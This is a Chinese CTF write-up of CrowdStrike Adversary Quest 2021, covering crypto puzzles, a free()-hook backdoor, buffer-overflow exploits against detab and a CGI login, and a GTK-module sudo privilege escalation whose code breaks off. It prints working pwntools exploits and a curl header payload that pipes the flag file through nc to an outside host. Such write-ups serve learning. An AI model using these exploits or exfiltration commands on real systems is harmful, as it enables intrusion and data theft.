CrowdStrike Adversary Quest 2021 挑战赛技术解析

本文详细解析了CrowdStrike Adversary Quest 2021 CTF中的多个技术挑战,包括逆向工程、加密算法破解、内存注入攻击、eBPF内核程序分析和神经网络对抗样本生成等高级攻防技术。

CrowdStrike Adversary Quest 2021: Write-up

2021年2月3日

近期,CrowdStrike Intelligence举办了一个为期约两周的小型CTF,包含十二个涵盖多个类别的挑战。我成功解决了所有挑战并获得第八名。挑战质量极高,我非常享受解决过程,因此决定在此发布我的解决方案。这不是包含大量细节的完整记录,而是对每个问题解决方案的简要总结。挑战分为三个故事线,每个“对手”有四个挑战,因此我将按相同结构组织本文。

Space Jackal

我们面对的第一个对手是Space Jackal,他似乎非常喜欢空格而不是制表符(一个崇高的事业)。

The Proclamation

文件是一个DOS/MBR引导扇区,运行时打印一条消息。

1
2
3
4
5
6
7
$ file proclamation.dat 
proclamation.dat: DOS/MBR boot sector

$ strings proclamation.dat                        
you're on a good way.

$ qemu-system-x86_64 proclamation.dat

分析代码,发现它在循环中对一些数据进行异或操作。

暴力破解密钥最终得到flag。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3

with open('proclamation.dat', 'rb') as fin:
    fin.seek(0x78)
    encrypted = fin.read()

def decrypt(ciphertext, key):
    res = []
    for x in ciphertext:
        key = ((key<<2)+0x42)&0xFF
        res.append(x^key)
    return bytes(res)

"""
for key in range(256):
    print(key, repr(decrypt(encrypted, key)[:10]))
"""

print(decrypt(encrypted, 0x09))

Flag: CS{0rd3r_0f_0x20_b00tl0ad3r}

Matrix

我们得到一些Python代码和一个onion地址。访问该网站得到三个密文,都以“259F8D014A44C2BE8F”开头,即相同的9字节。

代码接受一个9字节密钥并将其视为3x3矩阵。通过计算行列式并检查是否为1来验证矩阵可逆。

1
2
3
T=lambda A,B,C,D,E,F,G,H,I:A*E*I+B*F*G+C*D*H-G*E*C-H*F*A-I*D*B&255
...
len(K)==9 and T(*K)&1 or die('INVALID')

从代码中我们知道每条消息在加密前都带有“SPACEARMY”前缀。这意味着我们可以建立并求解矩阵方程:

[ \mathbf{K}{\mathrm{enc}}\cdot \mathbf{M}=\mathbf{C}\Leftrightarrow\mathbf{K}{\mathrm{enc}}=\mathbf{C}\mathbf{M}^{-1}\Rightarrow\mathbf{K}{\mathrm{dec}}=\mathbf{K}{\mathrm{enc}}^{-1}=(\mathbf{C}\mathbf{M}^{-1})^{-1} ]

其中 (\mathbf{C}) 和 (\mathbf{M}) 由密文和明文前缀创建。在Sage中实现并在三个密文上运行得到解决方案:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
R = IntegerModRing(256)

m = 'SPACEARMY'.encode('ascii')
c = bytes.fromhex('259F8D014A44C2BE8F')

M = matrix(R, 3, 3, m).transpose()
C = matrix(R, 3, 3, c).transpose()

Kenc = C * M.inverse()
Kdec = Kenc.inverse()

mtest = (Kdec*C).transpose().coefficients()
assert bytes(mtest).decode('ascii') == 'SPACEARMY'

c1 = bytes.fromhex('259F8D014A44C2BE8FC573EAD944BA63 ...')
c2 = bytes.fromhex('259F8D014A44C2BE8F7FA3BC3656CFB3 ...')
c3 = bytes.fromhex("""
  259F8D014A44C2BE8FC50A5A2C1EF0C1
  3D7F2E0E70009CCCB4C2ED84137DB4C2
  EDE078807E1616C266D5A15DC6DDB60E
  4B7337E851E739A61EED83D2E06D6184
  11DF61222EED83D2E06D612C8EB5294B
  CD4954E0855F4D71D0F06D05EE
""")

C1 = matrix(R, len(c1)//3, 3, c1).transpose()
M1 = (Kdec*C1).transpose()
print(bytes(M1.coefficients()).decode('ascii'))

C2 = matrix(R, len(c2)//3, 3, c2).transpose()
M2 = (Kdec*C2).transpose()
print(bytes(M2.coefficients()).decode('ascii'))

C3 = matrix(R, len(c3)//3, 3, c3).transpose()
M3 = (Kdec*C3).transpose()
print(bytes(M3.coefficients()).decode('ascii'))

Flag: CS{if_computers_could_think_would_they_like_spaces?}

Injector

这里我们得到一台机器的镜像和运行相同机器的地址。在temp目录中,我们找到文件“/tmp/.hax/injector.sh”。该文件是一个混淆的shell脚本,使用ProcFS解析一些符号,将结果地址插入一段shellcode,然后将shellcode注入内存。shellcode的反汇编如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
   0:   48 b8 41 41 41 41 41    movabs rax, 0x4141414141414141 # __free_hook
   7:   41 41 41 
   a:   41 55                   push   r13
   c:   49 bd 43 43 43 43 43    movabs r13, 0x4343434343434343 # free
  13:   43 43 43 
  16:   41 54                   push   r12
  18:   49 89 fc                mov    r12, rdi
  1b:   55                      push   rbp
  1c:   53                      push   rbx
  1d:   4c 89 e3                mov    rbx, r12
  20:   52                      push   rdx
  21:   ff d0                   call   rax
  23:   48 89 c5                mov    rbp, rax
  26:   48 b8 44 44 44 44 44    movabs rax, 0x4444444444444444 # malloc_usable_size
  2d:   44 44 44 
  30:   48 c7 00 00 00 00 00    mov    QWORD PTR [rax], 0x0
  37:   48 83 fd 05             cmp    rbp, 0x5
  3b:   76 61                   jbe    0x9e
  3d:   80 3b 63                cmp    BYTE PTR [rbx], 0x63
  40:   75 54                   jne    0x96
  42:   80 7b 01 6d             cmp    BYTE PTR [rbx+0x1], 0x6d
  46:   75 4e                   jne    0x96
  48:   80 7b 02 64             cmp    BYTE PTR [rbx+0x2], 0x64
  4c:   75 48                   jne    0x96
  4e:   80 7b 03 7b             cmp    BYTE PTR [rbx+0x3], 0x7b
  52:   75 42                   jne    0x96
  54:   c6 03 00                mov    BYTE PTR [rbx], 0x0
  57:   48 8d 7b 04             lea    rdi, [rbx+0x4]
  5b:   48 8d 55 fc             lea    rdx, [rbp-0x4]
  5f:   48 89 f8                mov    rax, rdi
  62:   8a 08                   mov    cl, BYTE PTR [rax]
  64:   48 89 c3                mov    rbx, rax
  67:   48 89 d5                mov    rbp, rdx
  6a:   48 8d 40 01             lea    rax, [rax+0x1]
  6e:   48 8d 52 ff             lea    rdx, [rdx-0x1]
  72:   8d 71 e0                lea    esi, [rcx-0x20]
  75:   40 80 fe 5e             cmp    sil, 0x5e
  79:   77 1b                   ja     0x96
  7b:   80 f9 7d                cmp    cl, 0x7d
  7e:   75 08                   jne    0x88
  80:   c6 03 00                mov    BYTE PTR [rbx], 0x0
  83:   41 ff d5                call   r13
  86:   eb 0e                   jmp    0x96
  88:   48 83 fa 01             cmp    rdx, 0x1
  8c:   75 d4                   jne    0x62
  8e:   bd 01 00 00 00          mov    ebp, 0x1
  93:   48 89 c3                mov    rbx, rax
  96:   48 ff c3                inc    rbx
  99:   48 ff cd                dec    rbp
  9c:   eb 99                   jmp    0x37
  9e:   48 b8 42 42 42 42 42    movabs rax, 0x4242424242424242 # system
  a5:   42 42 42 
  a8:   4c 89 e7                mov    rdi, r12
  ab:   ff d0                   call   rax
  ad:   48 b8 55 55 55 55 55    movabs rax, 0x5555555555555555
  b4:   55 55 55 
  b7:   48 a3 44 44 44 44 44    movabs ds:0x4444444444444444, rax
  be:   44 44 44 
  c1:   58                      pop    rax
  c2:   5b                      pop    rbx
  c3:   5d                      pop    rbp
  c4:   41 5c                   pop    r12
  c6:   41 5d                   pop    r13
  c8:   c3                      ret

此代码将劫持free(),如果释放的字符串格式为cmd{.*},其内容将传递给system()。我们可以在运行机器的Web服务器上发起请求,在header中包含payload,一旦服务器处理完我们的请求,payload将被执行:

1
2
3
4
5
6
$ nc -v -n -l -p 31337 &
Listening on 0.0.0.0 41000

$ curl 'http://injector.challenges.adversary.zone:4321/x' -H 'X: cmd{cat flag.txt|nc cs.zeta-two.com 31337}'
Connection received on 167.99.209.243 37378
CS{fr33_h00k_b4ckd00r}

Flag: CS{fr33_h00k_b4ckd00r}

Tab-Nabbed

我们得到一个镜像和运行该镜像的地址。从镜像中我们发现它运行一个gitolite git服务器,有一个仓库:“hashfunctions”。该仓库还设置了post-receive钩子,在每个修改的文件上运行“detab”程序。该程序将文件中的前导制表符转换为空格,但存在缓冲区溢出漏洞。程序使用512字节缓冲区,满时刷新。然而,判断是否满的检查只检查严格相等,因此当缓冲区中有510个字符时插入制表符,大小将跳到514并继续溢出。我们需要确保其他一些局部变量有效,但除此之外没有保护措施,这意味着我们可以直接用程序中方便的“print flag”函数覆盖返回地址。生成payload文件的exploit如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python3

from pwn import *

ADDR_PRINT_FLAG = 0x00000000004011D6

payload = b''
payload += b'A'*510             # Fill the buffer almost (n=510)
payload += b'\n'                # Reset the newline flag (n=511)
payload += b'\t'*1              # tab replaced with 4 spaces (n=515)
payload += b'\n'*(13+4+4)       # pad and keep newline flag set (n=536)
#payload += cyclic(512, n=8)    # use this in first pass to find offset 
offset = cyclic_find(0x6161616161616162, n=8)
payload += b'E'*offset          # pad until ret addr (n=544)
payload += p64(ADDR_PRINT_FLAG) # overwrite ret addr with flag function
pause()

# Create payload file
with open('payload.dat', 'wb') as fout:
    fout.write(payload)

# Test locally
r = process('./detab', level='debug')
r.sendline(payload)
r.shutdown('send')
r.interactive()

然后我们从服务器检出仓库(使用镜像中找到的密钥),添加文件,将更改推回服务器,最后拉取更改以获取post-receive钩子的输出得到flag。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
$ cat <<EOF>>~/.ssh/config
Host TabNabbed
    Hostname tabnabbed.challenges.adversary.zone
    Port 23230
    User git
    IdentityFile .../ctf/crowdstrike2021/space-jackal/tab-nabbed/developers.key
    IdentitiesOnly yes
EOF

$ git clone TabNabbed:hashfunctions.git
$ cd hashfunctions
$ python3 ../solve.py
$ git add payload.dat
$ git commit -m "flag"
$ git push
$ git pull
$ strings payload.dat     
...
CS{th3_0ne_4nd_0nly_gith00k}
...

Flag: CS{th3_0ne_4nd_0nly_gith00k}

Protective Pengiun

第二个对手是Protective Penguin。不幸的是,我没有真正抓住整体主题。

Portal

我们提供了一个Web服务器的代码,该服务器运行一个cgi-bin程序来认证用户。程序将用户名和密码base64解码到缓冲区。凭证用冒号连接并与文本文件中的条目比较。不幸的是缓冲区太小,我们可以溢出它。程序有栈cookie,我们没有内存泄漏,但我们可以覆盖一个指向用户列表文件名的指针。由于文件在凭证解码和缓冲区溢出后打开,我们可以将用户列表的路径替换为不同的字符串。二进制文件包含字符串“/lib64/ld-linux-x86-64.so.2”,幸运的是该文件包含带有冒号的字符串,如“conflict processing: %s”。以下exploit执行攻击:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3

import json
import os
import requests
import base64

from pwn import *

ADDR_LD_SO_STR = 0x00000000004002A8

# Login with "conflict processing: %s"
username = b'conflict processing\0'
password = b' %s\0' +  b'A'*(256-len(username)-4) + b'B'*4 + p64(ADDR_LD_SO_STR)
payload = json.dumps({'user':base64.b64encode(username).decode('ascii'), 'pass':base64.b64encode(password).decode('ascii')})

# Local test
env = os.environ.copy()
env['CONTENT_LENGTH'] = str(len(payload))
env['REQUEST_METHOD'] = 'POST'
env['FLAG'] = 'FAKE_FLAG'
r = process('cgi-bin/portal.cgi', env=env, level='info')
pause()
r.sendline(payload)
r.interactive()

# Execute exploit
BASE_URL = 'https://authportal.challenges.adversary.zone:8880'
r = requests.post(BASE_URL + '/cgi-bin/portal.cgi', json={'user':base64.b64encode(username), 'pass':base64.b64encode(password)})
print(r.text)

运行它得到flag: CS{w3b_vPn_h4xx}。

Dactyl’s Tule Box

这里我们得到一个镜像和运行该镜像的服务器。我们可以使用给定的SSH密钥登录服务器。服务器上有一个GTK二进制文件“/usr/local/bin/mapviewer”。通过查看sshd配置,我们发现服务器启用了X转发。为了能够运行程序,我们使用X转发连接到服务器:

1
2
$ ssh -X -i customer01.pem customer01@maps-as-a-service.challenges.adversary.zone -p 4141
$ /usr/local/bin/mapviewer

我们可以使用sudo以root身份运行此程序,但为此需要指定Xauthority:

1
$ XAUTHORITY=$(pwd)/.Xauthority sudo /usr/local/bin/mapviewer

每个GTK程序都接受许多额外的命令行参数,包括一个称为“–gtk-module”的参数,您可以在其中指定要加载的额外库,类似于LD_PRELOAD。我们可以使用它来构建一个库,该库在加载时简单地打开一个shell,并将其作为参数提供给程序:

1
2
3
4
cat << EOF > privesc.c
#include <stdlib.h>
__attribute__((constructor)) void privesc()
{  
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计